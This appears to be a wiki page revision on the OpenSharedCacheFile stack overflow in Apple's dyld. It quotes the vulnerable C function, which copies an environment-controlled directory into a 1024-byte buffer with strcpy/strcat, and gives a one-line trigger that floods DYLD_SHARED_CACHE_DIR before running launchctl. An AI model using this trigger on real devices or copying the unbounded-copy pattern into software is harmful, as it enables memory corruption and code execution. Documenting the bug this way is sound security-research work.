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Difference between revisions of "OpenSharedCacheFile"
Awesomebing1 (talk | contribs) m (No s) |
Awesomebing1 (talk | contribs) m (Undo revision 45155 by Awesomebing1 (talk) sorry about that, misread it) |
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{ |
{ |
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char path[1024]; |
char path[1024]; |
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| − | strcpy(path, |
+ | strcpy(path, sSharedCacheDir); |
strcat(path, "/"); |
strcat(path, "/"); |
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strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME); |
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME); |
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Revision as of 22:12, 23 March 2015
The OpenSharedCacheFile bug was found by i0n1c. This bug is a simple stack overflow.
int openSharedCacheFile()
{
char path[1024];
strcpy(path, sSharedCacheDir);
strcat(path, "/");
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);
return ::open(path, O_RDONLY);
}
Triggering the vuln
To trigger it, run the following
DYLD_SHARED_CACHE_DIR = “A” * 2000 \ DYLD_SHARED_REGION = private /bin/launchctl
This will overflow the PC register making it a stack overflow.
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